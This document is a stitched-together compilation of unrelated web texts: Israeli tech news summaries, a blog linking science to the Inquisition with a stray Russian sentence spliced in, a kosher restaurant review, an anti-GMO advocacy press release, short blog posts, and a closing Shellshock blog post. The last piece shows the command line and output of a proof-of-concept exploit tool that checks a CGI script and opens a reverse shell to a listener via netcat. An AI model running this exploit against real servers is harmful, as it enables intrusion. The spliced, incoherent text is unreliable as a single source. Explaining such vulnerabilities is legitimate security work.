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Historic Israeli Mini-Satellite to be Launched with French Cooperation: Judy Siegel-Itzkovich, Jerusalem Post, July 25, 2017— Israel's first environmental satellite, named "Venus," the major project of the Israel Space Agency and the French space agency CNES, will be launched from French Guinea at 4:58 a.m. on August 2.
China is Increasingly Becoming Key for Israel's High-Tech Industry: Ferry Biedermann, CNBC, July 18, 2017— China's investors and markets are becoming increasingly important to Israel's economy, and in particular to its booming high-tech industry.
How Israeli Technologies Improve Water, Food Security In India: Amanda Ngo, NoCamels, July 03, 2017— Indian Prime Minister Narendra Modi is set to arrive in Israel this week in a historically significant first visit.
Israel's Tech Startups are Giving Silicon Valley a Run for its Money: Ed Zwirn, New York Post, May 28, 2017 — Wondering where to find the next tech startup propelling humanity to the next best thing?
Israel: Internship Nation: Jeff Seidel, Times of Israel, July 16, 2017
Modi's Visit: The View from Jerusalem: Efraim Inbar, Institute for Defence Studies and Analyses, July 10, 2017
Modi's Visit to Israel: Oshrit Birvadker, BESA, July 31, 2017
The Role of Azerbaijan in Israel's Alliance of Periphery: Aynur Bashirova and Ahmet Sozen, Rubin Center, June 22, 2017
Judy Siegel-Itzkovich
Jerusalem Post, July 25, 2017
Israel's first environmental satellite, named "Venus," the major project of the Israel Space Agency and the French space agency CNES, will be launched from French Guinea at 4:58 a.m. on August 2. Science and Technology Minister Ofir Akunis called the upcoming launch an "important national event." Israel, he said, is "known around the world for its boldness and innovation, which are expressed also in the technological developments of 'Venus.' We are so proud to see how work of many years of our best engineers and researchers at the head of the Israel Space Agency, along with CNES, will reach its peak at the launching."
Environmental satellites have become very important in recent years because of problems on Earth resulting from population increase, declining space for agriculture, pollution and natural disasters. The Venus, the world's smallest satellite of its kind, was built in the last few years by Israel Aerospace Industries. It will observe fields and nature from space for environmental research, monitoring land conditions, forestry, agriculture, the quality of water sources and more.
The mini-satellite is equipped with a special camera that can visualize details on Earth that are invisible to the naked eye. It will take photos of set locations in Israel and around the world and provide researchers with scores of images daily, each of which will cover 760 square kilometers. The Venus will revolve around the Earth 29 times each 48 hours and repeat exact photo angles, making it possible to note differences in conditions – characteristics that make the satellite unique, the Science and Technology Ministry said.
The Venus satellite weighs only 265 kilograms. It will be launched along with an Italian satellite and reach its position 720 kilometers above Earth within 37 minutes and 18 seconds. The first confirmation of proper position and function should be received on the ground after five-and-a-half hours from launch time, but the initial images will arrive a week later. Processed images will be sent to users three months after launch. The Venus is due to remain in operation for four-and-a-half years, after which time it will be shifted to a lower trajectory. Some 110 different set research areas around the world will be photographed. When the satellite passes over Israel, the Venus will photograph three swaths in the Galilee, the coastal area and the Negev Desert, where most national parks, forests, ecological stations and nature areas exist. The photos will also benefit university, government and state research institutes.
Venus will transmit data to a reception station in northern Sweden. From there, the data will be processed initially by the French Space Agency, which will be led by French researcher Gerard Didiot. The images of Israel will arrive at the research center at the Sde Boker campus of Ben-Gurion University of the Negev, headed by Prof. Arnon Karnieli. The research center is an operational arm of the Science and Technology Ministry. One of the first research projects to be used by the satellite simulations – funded by an investment of NIS 500,000 from the Israel Space Agency – will be one designed by high school pupils from Rishon Lezion and Rehovot.
Venus is also the first innovative technological mission of its kind to test the feasibility of a plasma-based electric propulsion system developed by Rafael Advanced Defense Systems, using an electric propulsion system that saves fuel and satellite weight to increase the weight of the equipment for research purposes. Although the Venus is a joint project of Israel and France, all of the satellite's hardware components were developed in Israel's space industries. In addition to IAI, which built the satellite and integrated the components, Elbit developed the unique camera, and Rafael developed the propulsion system, resulting in the entire satellite being the product of Israeli construction and development.
Meanwhile, IAI president and CEO Yossi Weiss said that the Italian and the Israeli-French satellites are "the glory of Israeli technology and reflect Israel's international activities in space and the extraordinary cooperation with Italy and France. The stateof-the-art observation satellites program enables the development and production of local needs and exports, and is supported by clear government policy in the field." He added, "On the eve of the launch, I call upon the Israel government to make the necessary decisions regarding the future of Israeli media satellites. Since the loss of Amos-6 about 10 months ago, no decision has been made regarding the future of the field, which will eventually lead to the loss of knowledge and accumulated technological capabilities. We are approaching the point of no return that could lead to the elimination of Israel's capabilities in the field of communications satellites."
Ferry Biedermann
CNBC, July 18, 2017
China's investors and markets are becoming increasingly important to Israel's economy, and in particular to its booming high-tech industry. The first IPO (initial public offering) of an Israeli high-tech company on a Chinese stock exchange, Hong Kong, is expected within the year and Chinese investments in Israeli high-tech venture capital approached $1 billion in 2016, industry experts say.
"The Chinese stock exchange market will become another very viable option for Israeli companies looking for public funding," if the first IPO goes off successfully, Eli Tidhar of Deloitte Israel, told CNBC. Tidhar heads what Deloitte calls its "Israel-China corridor". Israel has laid out the welcoming mat to Chinese companies and investors who may face more troublesome regulations and scrutiny elsewhere.
Hardly a day goes by without another Israel-China initiative being announced, whether it's a new Israeli tech incubator in China, new investments, joint ventures, trade conferences or delegations. In May this year, another audit firm PwC led a delegation of Israeli companies to Hong Kong to explore the possibilities of listing on the stock exchange. Deloitte's Tidhar says that a sea change is taking place among Israeli companies looking for funding. Israeli high-tech VC (venture capital) companies raised $500 million from Chinese investors in 2014 and $700 million in 2015 and the amount keeps growing, according to Tidhar.
"In the past, Israel used to look mostly at the U.S. and Europe as our source for investment, especially in high tech," he said. But now, "It becomes less and less awkward that a company that would like to raise money would pursue this investment from China." This view is echoed Dorian Barak, who heads the Israeli arm of Kuang Chi, one of the few Chinese conglomerates that has so far actually set up a permanent local representation. Israel's venture capital landscape and its exits were until now largely a matter of Western money, Barak said. But that's about to change. "The rise of China and China's adoption of an outward looking policy of investments and cooperation has the opportunity to have as much of an impact on the local economy as did the massive capital influx from chiefly the United States in the (1990s) and the first decade of the 21st century," Barak said in a telephone interview.
Kuang Chi last year set up a $300 million fund, particularly for smart city investments in Israel. It has so far, among other companies, invested in machine vision company eyesight Technologies. Large chunks of Israel's infrastructure projects, including ports, railway lines and tunnels, are being carried out by Chinese companies these days. And some flagship Israeli companies have been acquired by Chinese conglomerates, such as ChemChina's acquisition of Adama and Bright Food's takeover of Tnuva. Reuters earlier this year reported that in 2016 total Chinese investments in Israel jumped to $16.5 billion.
But in the high-tech sector, this has not yet translated to the same massive presence of Chinese conglomerates that Western companies have in Israel, whether in R&D (research and development) centers, production or representative offices. Kuang Chi's Barak said that Chinese companies are very slowly coming to the realization that there's an added value to a local presence. He's getting constant inquiries from Chinese local government and private investors.
"When you see Chinese names on the sides of buildings in Herzliya Pituah (near Tel Aviv) as you currently see American names, you'll know the Chinese investors have really arrived and the Chinese strategics have arrived en masse. There's a long way to go," said Barak. But it's getting there, is the consensus. One company that has seen Chinese investment is intelligent search company Twiggle. It's received backing from the likes of e-commerce giant Alibaba and MizMaa – a fund specializing in Chinese investments in Israeli high-tech.
CEO and co-founder Amir Konigsberg, said that for Twiggle, as for many other Israeli companies, the ties with China are not merely about getting finance. Help with market access is of much greater importance. "Not disregarding the growth in other markets, such as the U.S. and Europe, in terms of e-commerce China and Asia are very dominant markets," he said.
Israeli start-ups had been used to working with U.S. and European investors, he said: "The collaboration and the synergy with the China market and the big Chinese companies is more recent. The adaptation to that has been gradual and the Israeli companies like ourselves are learning to work better with the Chinese companies." One potential adaptation to be made was in the differences of expectations that sometimes occurs, said Denes Ban, managing partner at Israeli high-tech crowdfunding firm OurCrowd. Those expectations center around the tension between getting funding and getting access to Chinese markets.
"If you look at the term sheet, there's no such thing as free Chinese money," said Ban. Many Israeli companies, who are far from naive, initially misjudge the intentions of the Chinese investors: "What often happens is, 'OK we invest but actually the amount we invest doesn't go into the headquarters in Israel, actually it will only go to a joint venture in China and we own 51 percent of it', so basically they control it. We have seen this."
For OurCrowd, Ban is very excited about the emerging interest of large Asian, including Chinese, financial institutions in getting their clients a piece of the pie in the Israeli VC market. "We signed a deal in Singapore with UOB, Shanghai Commercial Bank, Reliance India, these are some of the biggest institutions that are looking to offer these venture capital products to their clients," said Ban. He, like others interviewed by CNBC, sees one crucial Israeli advantage to attracting Chinese investment, apart from Israel's start-up nation image: an openness to Chinese investors where the U.S. and Europe are getting pickier. Deloitte's Tidhar puts it simply: "The restrictions, limitations, barriers that Chinese companies face in other markets, they don't face in Israel."
Amanda Ngo
NoCamels, July 03, 2017
Indian Prime Minister Narendra Modi is set to arrive in Israel this week in a historically significant first visit. This trip marks the first time that an Indian Prime Minister has travelled to Israel, and will strengthen what is already a flourishing relationship between the two nations. India's demand for Israeli tech, particularly water and agricultural technologies, as well as a shared desire to invest money in innovation, research and development, continue to drive the partnership to new heights.
Modi's delegation is expected to include 100 entrepreneurs, including executives from some of India's biggest companies. He will engage in talks with Israeli Prime Minister Benjamin Netanyahu, with the goal of promoting strategic partnerships in the areas of water conservation, food security, space technology, defense, and others.
Since the establishment of diplomatic relations in 1992, Israel and India have seen trade between the two countries jump from $200 million in 1992 to $4.167 billion in 2016 (not including defense agreements), according to Israel's Ministry of Economy. An Israeli-Indian Free Trade Agreement has been in the pipeline since 2010, with observers speculating that this upcoming visit could add momentum to the process…
A glance at the strengths and needs of both India and Israel reveals why the partnership has been so successful thus far. With a burgeoning population (currently at 1.3 billion), India is experiencing difficulties with water conservation and purification, and food security. According to the World Bank, around 21 percent of infectious diseases in India are related to unsafe water. Agriculture, too, is a significant part of the Indian economy, representing 17 percent of the GDP and depended upon by 50 percent of the population.
Israel is known worldwide for its strengths in water and agricultural technology. For years, Israel has been providing India with world-leading expertise and technology to help the larger nation combat these issues. In return for capitalizing on Israel's technological expertise, India provides Israel with a huge market opportunity, and endless avenues for business investment. With the second largest population in the world, and a GDP of around $2 trillion (according to the World Bank), the Indian market offers the kind of scale that Israeli businesses need.
Over the 25 years of diplomatic relations, the shared initiatives have been wide-ranging. Since 2008, the nations have strengthened their relationship through the joint establishment of 'Centers of Excellence' in India, as part of the Indo-Israel Agricultural Cooperation Project. Present across nine Indian states, the 26 centers provide Israeli technology and expertise to Indian farmers. They have been highly successful, and there is suggestion that Modi's upcoming visit will lead to an expansion of this plan.
One of the leading Israeli startups making waves in India is Aqwise. A water tech firm, Aqwise has built a water treatment plant that supplies drinking water to the city of Agra, where the Taj Mahal is located. Using an innovative technique of releasing polyethylene biofilm carriers into the water supply, the company provides around 2 million inhabitants and tourists with clean, potable water. Israeli company IDE has also done impressive work in the water conservation industry in India, implementing desalinization methods that have saved millions of dollars and thousands of millions meters cubed units of water. Israel's Netafim has been implementing drip irrigation technologies that help Indian farmers conserve precious water.
WaterGen, an Israeli air-to-water technology company, is a global leader in water purification. By extracting moisture from air, WaterGen is able to generate water that is safe to drink. Earlier this year, they signed a memorandum of understanding with the India solar engineering firm, Vikram Solar. The deal, which is estimated to be worth at least $100 million, will help the company expand in the Indian market.
Indian companies have shown an unbridled eagerness to tap into the Israeli tech scene. Aditya Birla, the third-largest conglomerate in India valued at $41 billion, has been targeting Israel to find new investments since 2016. Focusing on clean-tech, cyber security, financial technology, and water tech, the company has reviewed hundreds of startups. Infosys, an Indian conglomerate, bought Israeli cloud tech firm Panaya for $200 million in 2014. In 2007, Indian company Jain Irrigation acquired Israeli firm NaanDan, forming NaanDanJain Irrigation Ltd. The company is headquartered in Israel, and now serves farmers in over 100 countries.
Significant amounts of money continue to be channeled into joint initiatives by both governments. In the very near future, the Israeli government is set to approve a proposal to further economic cooperation with India by investing NIS 280 into water and agricultural technology, among other strategies. NIS 140 of that budget will go into an Israeli-Indian fund aimed at encouraging innovation and R&D for Israeli and Indian companies.
Indian and Israeli companies have shown a shared desire to foster innovation. Earlier this year, Israeli equity crowdfunding platform OurCrowd and Indian private sector company Reliance Industries, together with American data communications company Motorola, set up an incubator in Jerusalem aimed at encouraging innovation in hi-tech in Israel. The incubator will focus on up-and-coming areas such as artificial intelligence, big data, FinTech, IoT, and computer vision. OurCrowd has also formed a partnership with LetsVenture, the largest marketplace for startup funding in India. The partnership will give exposure to Indian startups, and offer deals to Indian investors.
India is also an ardent supporter of Israeli defense technology: Earlier this year, Israeli Aerospace Industries revealed its plan to provide India with missile defense systems in what will be the organization's biggest security contract ever. The contracts amount to almost $2 billion, and will deliver advanced medium-range surface-to-air missiles to the Indian Army. India is currently the largest buyer of Israeli military equipment…
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Ed Zwirn
New York Post, May 28, 2017
Wondering where to find the next tech startup propelling humanity to the next best thing? Israel's answer to Silicon Valley is Silicon Wadi, an area around Tel Aviv on the country's coastal plain with a heavy concentration of high-tech industries that rivals the San Francisco Bay Area's cluster of innovative firms. There are about 4,300 startups operating in Israel, with about 2,900 of these located within a 10-mile radius, a rate of development second in intensity to only Silicon Valley itself. Even as President Trump was meeting with the Israeli political elite on the Jerusalem leg of his first foreign trip, a huge slice of that country's brain trust was gathered in Midtown Manhattan to explore the reasons behind this tech wave and showcase some of the developments that have enabled this small country to punch above its weight.
Or maybe jumping would be a more apt metaphor. "The cat flea has the ability to jump almost 200 times its height," Oded Shoseyov, a professor of protein engineering and nano biotechnology at Hebrew University of Jerusalem, told the crowd at Nexus: Israel, a gathering sponsored by the American Friends of Hebrew University. Shoseyov, who has his name on more than 50 patents and has served as the scientific founder of 10 companies specializing in everything from nanotechnology to production of medical cannabis, says one of the most exciting scientific quests is understanding the jumping power of the flea. That and other marvels of nature are helping spark solutions to real-world challenges faced by humans.
CollPlant, one of the companies he helped found, is attempting to bioengineer solutions to these problems by cloning human DNA onto tobacco plants. "I have no doubt that we'll be able to produce a human heart in the laboratory," he says. "This heart is not going to be the same as a human heart, it's going to be better."
One of the more established players in both Silicon Valley and its Middle Eastern rival is Intel Corp., which set up a research and production operation in Israel in 1972. Intel Israel has since grown to the point where it has become Israel's largest private employer, with more than 10,200 workers on its payroll as of last year. According to Maxine Fassberg, executive in residence and vice president of Intel Capital, the company exported $3.35 billion of chips and other products from Israel last year, accounting for 1 percent to 2 percent of the country's GDP.
In addition to the tech developments fostered by Intel, Fassberg credits both Israel's defense sector and its academia for propelling this development. "The bottom line is the people and the quality of the education there," she says. For his part, Dr. Yaron Daniely, chief executive of Yissum, Hebrew University's technology transfer arm, and himself the driving force behind many Israeli developments in medical technology, credits the amazing performance of Israeli R&D to "chutzpah," shown in the willingness of the country's scientists and entrepreneurs to take on risk. "Exceptional people exist everywhere who are more creative than others, but that doesn't guarantee success," he points out. "We were arrogant Israelis. We didn't think that we were stupid."
Israel: Internship Nation: Jeff Seidel, Times of Israel, July 16, 2017— In this day and age, getting a high-quality job is difficult. Since "the internship" has become a prerequisite for being in the race for a good job, the competition for finding one that builds your resume while providing you real-world experience, has only made the process more difficult.
Modi's Visit: The View from Jerusalem: Efraim Inbar, Institute for Defence Studies and Analyses, July 10, 2017— The visit by the Indian Prime Minister Narendra Modi caused many Jerusalemites, like me, a lot of traffic delays. In retrospect, it was definitely a price worth paying.
Modi's Visit to Israel: Oshrit Birvadker, BESA, July 31, 2017— From the 1920s until the establishment of official bilateral relations in 1992, Indian-Israeli ties were dictated by the views of Indian Muslims and moves by Pakistan.
The Role of Azerbaijan in Israel's Alliance of Periphery: Aynur Bashirova and Ahmet Sozen, Rubin Center, June 22, 2017— Israel's alliance of periphery was formed in the 1950s in order to end the newly established state's regional and global isolation, which was a result of its conflict with the Palestinians and its Arab neighbors.


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Science, inquisition, fairies and witchcraft are they related?
By Mirna Santana
What could science inquisition, fairies, and witchcraft have in common? I thought of them as a good way of teaching children and adults science and history. Why? First, most people do love mythologies and fairies and demons, witches and the sorts. If not, give me one reason for the Harry Potter series being so popular? What about Dan Brown's books that bring together history spiced with mysteries, sorcery, secrecy, Illuminati, Mason, scientists, and priests all together? Again, think about it. For me, a common point was the inquisition also called dark ages for science at least.
A few days ago, I saw a program about Dan Brown's Book Angels and Demons (History Chanel). The program was seeking to decode the mysteries presented in the book. It sink in me that although as a scientists one faces huge challenges these days, e.g., the media wants to keep people in darkness or uninformed about climate change...The government and some business are attacking EPA (The Union of Concerned Scientist call it: The Attack on Science). I wonder if this a new inquisition? Is science being put to the test of flames?
Prosecution campaigns to discredit science and scientists are not new. It happened to Rachel Carson by the Chemical Companies (Rachel Carson website). It happened to Ignacio Layolla by Monsanto (Documentary The World According to Monsanto). It happened to some of the most recognized climate change scientists by the some of the major conservative media outlets. We do not call that inquisition perhaps, because, there are no soldiers, no witches, and no fire involved. Scientists have been fired for daring to inform the public. This is particularly true if they are working in a borderline subject (something that brings big money but may cause cancer, sudden death, heart attacks, and so forth).
Bernardo Gui's in the Inquisitor's Manual (c.1324), instructed inquisition the inquisitors to ask sorcerers and diviners about fairies who bring good fortune or who run at night (Encyclopedia of Witchcraft). I would have been caught there not for being a sorcerer instead because I just make up stories of fairies sleeping under mushrooms in my front yard ...Perhaps I would have dared to say that those were fairies of good fortune. I am pretty naive sometimes, so I would have thought that that may have been a good answer for people looking for ''the good of humanity.'' The inquisitors in their own perspective were freeing the world of the other bad people. Sounds familiar?
The media likes to pair science with evil. For examples, listen to the news at night...the fairies that run at night. Who are those? They are not of the kind that bring good fortune.
Originally the inquisition prosecuted people who were worshiping fairies or believe in fairies. The fairies were images that formed part of witchcraft rituals. Later, The Inquisition lost interest on fairies and prosecuted Satan-worshippers and also the Illuminati and the Freemasons, and Galileo and other scientists too.
Perhaps the pooling of everybody in the boiling pot represented a fear of knowledge different than the one accepted by The Inquisitors and the people in power (their bosses).
Perhaps, because those ancient people were fascinated with fairies, the term fascination was original synonym with betwitch or allure. Now, we could say some scientific discoveries are fascinating. And we may be gladly fascinated with science and scientists--which are the magicians that can transform things by the way of knowledge.
The word Fjolkunnigir is a Norse term for magician and also a holder of great knowledge. So you can see how from ancient traditions such as the metaphysical seekers came to be the science we now know as chemistry and many other cool things we know in science.
Some of the Illuminati, another group consider as occult but who were also involved in the ''enlightment', were piled up to be cooked alive. They may have defended knowledge that we now accept as rational (this is a postulate, I don't know about their whereabouts).
Many people you know as scientists and politicians also have been involved in Freemansory, which is also believed to have influenced other rituals such as High Ceremonial Magic, Umbanda, and Vodou. These people also known as spiritual seekers* were prosecuted in Europe after the inquisitors were done with the witches and wanted yet a little more bloody espectacles to keep people in fear.
Many people talk about the connections between science, religion and spirituality. Though there are some links such as in the transformation or alchemy and chemistry--and the power of transformation that lies behind science, other links are more difficult to pursue. While I learn more about this topic, keep an open mind and know that we do have something in common.
The commonality that places the witches, the illuminati, the Free Masons, Muslin, Christians, atheist, agnostics, and scientist too-- all in the same pot is is that we are all humans. With the exception of the fairies or faries we shall find common ground if only for the fact of sharing a similar physiology.
Until next remember you are a human and they are too!
The real meaning of magic is the power to create. We all have that power. Use yours for the good of humanity!
ps. I do not endorse any religious or anti-religious organizations mentioned herein. I do endorse science and good fairies too!
Science, Galileo and the Inquisition
Books about the Inquisition
© 2011 MSantana
Качество сборки находится на достаточно хорошем уровне. Детали стыкуются плотно, зазоры в большинстве случаев равномерны. Несколько увеличен верхний зазор крышки аккумуляторного отсека. Люфты между деталями отсутствуют.
Hi Ms. Santana, you have such a great topic especially about fairies. Ever since I do believe i fairies and the luck that it brought to humankind. I am hoping one day to encounter them. I like dwarfs also and i experienced their presence it in our home. Keep it up !!!
Such an interesting hub and here's to many more to share on here.
Take care
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In some ways, Squirrel Hill's identity as a Jewish neighborhood seems to be fading, at least along restaurant-lined Forbes and Murray avenues. One by one, we see kosher markets and delis replaced by Asian eateries targeting foreign students. But Pinsker's, Murray Avenue's venerable purveyor of Judaica, is betting that there's still a hunger for kosher cuisine.
Specifically, in this era of foodies, global cuisine, and Jewish celebrity chef Yotam Ottolenghi, Pinsker's bets that a broader approach to kosher food will appeal to Pittsburghers ever in search of unique dining experiences. In this spirit, Eighteen, a kosher wine bar and sit-down restaurant located in the storefront adjacent to Pinsker's retail space, offers a variety of dishes not traditionally associated with Jewish culture, such as butternut-squash ravioli, pomegranate-glazed salmon and sushi, alongside classic Jewish-deli fare like bagels with lox and Israeli favorites such as hummus and shakshuka.
The common thread, aside from being prepared under the supervision of a rabbi, is fish. Aside from eggs, it is the only animal protein on the menu. Eighteen's pastrami is made from cured salmon, its reuben is made with smoked beets, and there's even a cheeseburger — with a house-made veggie patty.
It all adds up to a menu unlike any other in town. The space is distinctive as well. One could wait for a table in the front room for hours, if need be, and never get bored: The walls are lines with old local newspapers. Stained-glass windows from a synagogue in West Virginia hang, jewel-like, in the main dining room. We were seated in a charming, porch-like room-within-a-room strung with twinkle lights. It was busy the night we went, with a single, valiant and increasingly frazzled server hard at work.
He recommended the Dizengoff hummus, arrayed with olives, tahini, stuffed grape leaves, cucumber salad and a poached egg, served with a thick, pillowy, house-made pita, still warm. The platter was a great way to enliven the hummus — which, to be clear, was creamy and tasty on its own — with a range of complementary flavors and textures. The only flaw was that the egg had a sort of skin; for a moment, we thought it might actually have been cooked and served in plastic wrap.
Shakshuka, that wonderful dish of eggs poached directly in a spicy tomato sauce, was available in traditional, Greek (with feta and spinach) and Mexicali (with shredded cheese and jalapeño) varieties. We chose Greek, and it was wholly satisfying. Served directly in the hot, cast-iron skillet in which it was cooked, it showcased the simple pleasure of perfectly compatible ingredients heightened by a few, just-right seasonings and a restrained approach to innovation. The feta melted gently into creamy, salty pools in the hot tomato stew, while the spinach added color and subtle vegetal flavor.
Also served in its own cast-iron skillet, spicy Moroccan fish consisted of two filets of haddock stacked in the center of a tomato-based stew that was populated with chickpeas and potatoes. Jalapeños enabled this dish to live up to the "spicy" component of its name, but like the shakshuka, its seasonings were well balanced so that the whole dish sang in delicious harmony.
From the deli menu, we tried the reuben. It wasn't bad but, in our opinion, didn't quite work. First, the cheese, a fairly thick slice of Swiss, wasn't well melted, and so formed a chewy, not gooey, chunk in the middle. But the real problem was the thinly sliced smoked beets. While they offered a pleasingly firm and substantial, if not actually meaty, texture, they were simply too sweet, with scant smokiness. The flavor of beets is not one that can masquerade as anything else, and it threw off the flavor balance of the whole sandwich.
Butternut-squash ravioli was described on the menu as coming "in brown butter sauce with raisin and walnut OR spinach in pesto cream." This was confusing; brown butter sauce, on its own, is a lovely complement to autumnal ravioli. The pesto cream we chose was tasty, but there seemed more than enough of it for a double order of ravioli, and completely obscured any delicate brown butter that may have graced this dish.
Hardly a kosher cliché, sushi featured pretty good fish and well-seasoned rice that was pleasingly chewy without being gummy. However, the nori wrappers were chewy as well, as if they hadn't been toasted in advance and then became sodden in the rice.
Eighteen offers a unique menu and memorable food that stand out in an increasingly homogenized dining scene of barnwood-clad, Edison-bulb-lit gastropubs.


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Submitted by: GMO Free USA
Categories: Health & Wellness, Activism
Posted: Mar 31, 2015 – 09:00 AM EST
UNIONVILLE, C.T., Mar. 31 /CSRwire/ - GMO Free USA today published the results of independent lab testing which documented that Gerber Lil' Crunchies Veggie Dip Baked Whole Grain Corn toddler snack contains high levels of herbicide tolerant, insecticide producing genetically engineered corn. The public interest nonprofit recently launched a program to test popular food products for genetically engineered ingredients (GMOs), as well as testing for the herbicide glyphosate, heavily sprayed on GMO crops.
The agrichemical corporations that produce GMOs, together with Big Food, have spent millions in recent years to narrowly defeat citizens' ballot initiatives for mandatory GMO labeling in California, Washington, Oregon and Colorado. Nestlé, Gerber's parent company, has spent $2.4 million to fund anti-labeling efforts. These industries say that GMOs are safe, that government regulatory bodies agree with them and labeling is unnecessary. But the FDA and EPA rely on industry funded voluntary safety assessments conducted by the same companies that profit from their sale. A recent statement published in a peer reviewed journal, signed by over 300 industry-independent scientists and scholars, stated that there is no scientific consensus on GMO safety.
In 2012, the American Academy of Pediatrics (AAP), issued a policy statement recommending that children's exposure to pesticides be reduced. Yet Nestlé doesn't have a problem with feeding babies genetically modified corn that is a pesticide regulated by the EPA.
"As a physician in Hawaii I remain gravely concerned about the impact pesticides and pesticide dependent crops have on our children's development," said Josh Green M.D., Hawaii State Senator.
Nestlé's corporate head of sustainable agriculture, Hans Jöhr, previously stated, "We have a very simple way of looking at GM: listen to what the consumer wants. If they don't want it in products, you don't put them in."
"American mothers are outraged that Nestlé continues to experiment on our babies with their Gerber brand. In response to consumer outcry, Nestlé removed GMOs from their baby and toddler foods in South Africa in 2013. Why not in America? The scientific evidence against GM foods is mounting," says Diana Reeves, Executive Director of GMO Free USA and mother of three.
GMO Free USA is calling on Gerber to commit to removing GMO ingredients from all of their products and to enroll in the Non-GMO Project for third party verification.
Read the Gerber Lil' Crunchies Veggie Dip test results report: http://www.gmofreeusa.org/food-testing/gerber-lil-crunchies/
GMO Free USA is a 501c3 nonprofit that educates consumers and other stakeholders about the potential hazards of GMOs and advocates for the removal of GMOs from the food supply. Visit http://www.gmofreeusa.org/food-testing/operation-label-gmos/ to learn more about GMO Free USA's food testing program. Members of the press may contact Diana Reeves or Luan Van Le at 347.921.1466 or firstname.lastname@example.com
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"Anti-racism," like racism itself, is an idea. What is the class basis of this idea? It is a theory of the middle-class, of those who deny that the class struggle is fundamental, of those who exist between the two camps who have actual power. What are the hallmarks of a middle-class idea? First, the attempt to understand social issues without regard to class–the reduction of things to "just people." Second, reflecting the lack of real, material power, everything is reduced to an idea. The problem is not children dying because the heat was cut off because there was no money because the factory closed and a black man in a poor area has a nearly impossible task in finding work; the problem is: people have racist thoughts. The problem isn't that the environment is being sacrificed in a reckless drive for profit, the problem is: people aren't environmentally aware. The solution, to them, isn't the destruction of social classes forever, thus removing the material basis for racism and the destruction of the environment, it is to explore your own mind, and to learn how to speak without hurting people's feelings and to learn the importance of recycling.
"For myself, I want no advantage over my fellow man, and if he is weaker than I, all the more is it my duty to help him." —Eugene V. Debs
Sunday, March 7, 2010
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Earlier today we were looking at a few different suites in the Atlanta Tech Village to see what spaces might work as temporary coworking offices while we do phase one renovations over the next 6-8 months. Currently, we have room for upwards of 50 people in the non-renovated coworking space on the 3rd floor and will have room for upwards of 200 people after we finish the first two phases of renovation at the end of this calendar year (2013).
While we were looking at a small suite on the 5th floor that could accommodate 8 people in a coworking style, one of the fellow entrepreneurs with me commented that coworking is about community as much as working. Yes, we could offer it up to people but such a small space, especially in generic, non-renovated form, won't have the community and amenities of a suite that holds 20+ people.
Here are a few reasons coworking is about community:
- If community isn't important it's easier for most people to work from home
- People are naturally social creatures and want to be part of a tribe or group
- Social experiences like discussing the weekend, debating the quality of a cup of coffee, or going out to lunch happen naturally in a big communal environment
- Learning and sharing information happens naturally in a group setting providing for a richer, more fulfilling day
Coworking is much more than a desk with good internet. The community element is integral to any coworking facility.
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The U-turn Epiphany
I had an epiphany the other day and have had daily reminders ever since. I have come to realize I'm really hard on myself and on other people. I'm so full of negative self-talk it is no wonder success is an uphill climb.
Just the other day I was driving in Nashville, planning to turn on to I-65 to head back down to Franklin. I was mentally sidetracked and passed my turn.
"You idiot!"
Surely that's what I was. Only idiots miss turns; normal people don't do that. Life is tough for idiots like me.
Then it hit me. I'm not an idiot. I just missed my turn. All I have to do is U-turn and then I will do it right the next time. What an epiphany. It reminded me of my favorite scene in Disney's The Kid when Russ Duritz (Bruce Willis) excitedly hollered, "I am not a loser!" I had that moment. Despite some of my friends' repeated reminders, I am not an idiot, loser, moron or any other thing. I'm just a human who makes mistakes sometimes (sometimes frequently and repeatedly).
I can't tell you how many times I have caught myself saying things like this since then. I publish a blog only to find a misspelled wrod and immediately castigate and berate myself. I answer a question incorrectly or fumble a sentence in a sermon and the names start internally flying. Some of you are saying, "Yeah, but Edwin, you really are an idiot."
No, actually, I'm not. I'm just a human that makes mistakes.
Now, when I catch myself shaming myself, I remind myself. "Nope, I'm not an idiot, I just missed the turn. I'm just a human who makes mistakes. I'll make a u-turn and just do it right on the second pass."
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Just a couple of wee things to get you thinking, both came up in discussion during Today's lesson.
If you are interested in film in particular, then the best film review podcast (by a loooonnnnggggg way) is Mark Kermode and Simon Mayo's Film Reviews. You can find them on iTunes or by clicking this link: http://www.bbc.co.uk/podcasts/series/kermode
The podcast is more entertaining than the live radio show (Friday from 2 – 4 on Radio 5 Live), not least because it loses the news and travel interruptions. More importantly, it has podcast extras which, if you 'get it' will become a highlight of your week.
What I will say is that Mark Kermode is one of the shrewdest and best film critics out there, bar none. He will infuriate you, he will rip films apart that you may like, and he will give you ideas for films you may not have ever thought of watching, but one thing you will find is that he is just about always fair in his reviews. Simon Mayo (ask your mum!) is an effective 'straight man' to Kermode's outbursts.
Their show is full of in-jokes, but you will soon pick up on them (Hello to Jason Isaacs!). There are also over 200 previous shows on iTunes that you can download… if you want a taster, and one of the funniest film reviews of any films ever, then Kermode's review of Sex and the City 2 is about as good as it gets:
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By Andy Yang
(A little bit of background on this post – one of my colleagues, Norman Yue, posted something about the Internet being on fire to LinkedIn yesterday, regarding the bash bug. This blog post tries to explain a bit more about why exactly this is such a big issue, and also provides a proof-of-concept exploitation).
Firstly, the vulnerability itself. The actual vulnerability itself is amusing and unique, but otherwise, isn't the magical everything-is-owned vulnerability that everyone makes it out to be. To paraphrase, if you are able to set an environment variable through the Bash shell, you can execute commands.
The interesting part is that this vulnerability may have existed for more than 20 years, in an application which is part of pretty much every Unix system since a long time ago. The vulnerable versions start from cpe:/a:gnu:bash:1.14.0 to cpe:/a:gnu:bash:4.3, which covers pretty much every Unix-based operating system available today (and by extension, a tremendous chunk of the Internet).
It's not just bash itself that's the problem, however – other systems, such as CGI scripts, various web applications, software such as OpenSSH (though not in the way you might think), provide vectors through which this issue may be exploited. This is a tremendous risk, as it's a giant question mark – we don't actually fully know how far this issue is actually exploitable.
People have named this issue "shellshock". In response to this, I've released a PoC exploit last night ("BadBash"), after reaching out to my contacts and asking them to patch their systems. In a nutshell, it's a tool which checks for a vulnerable CGI script on web servers. If it finds something vulnerable, it creates an inbound reverse shell on port 1234 on listening server (passed as a command-line argument). You can run it as follows:
RainMak3r@Could:~/Desktop#ruby BadBash.rb -t '172.16.235.140/cgi-bin/Andy.sh' -d '172.16.189.1'
[Info] Checking if the target is vulnerable.......
[Info] This may take up to 10 seconds........
[Info] Target is vulnerable!!!
[Info] Please use NC to listen on port 1234 for reverse shell..........
[Info] Exploiting for a reverse shell to connect 172.16.189.1:1234 via netcat ..........
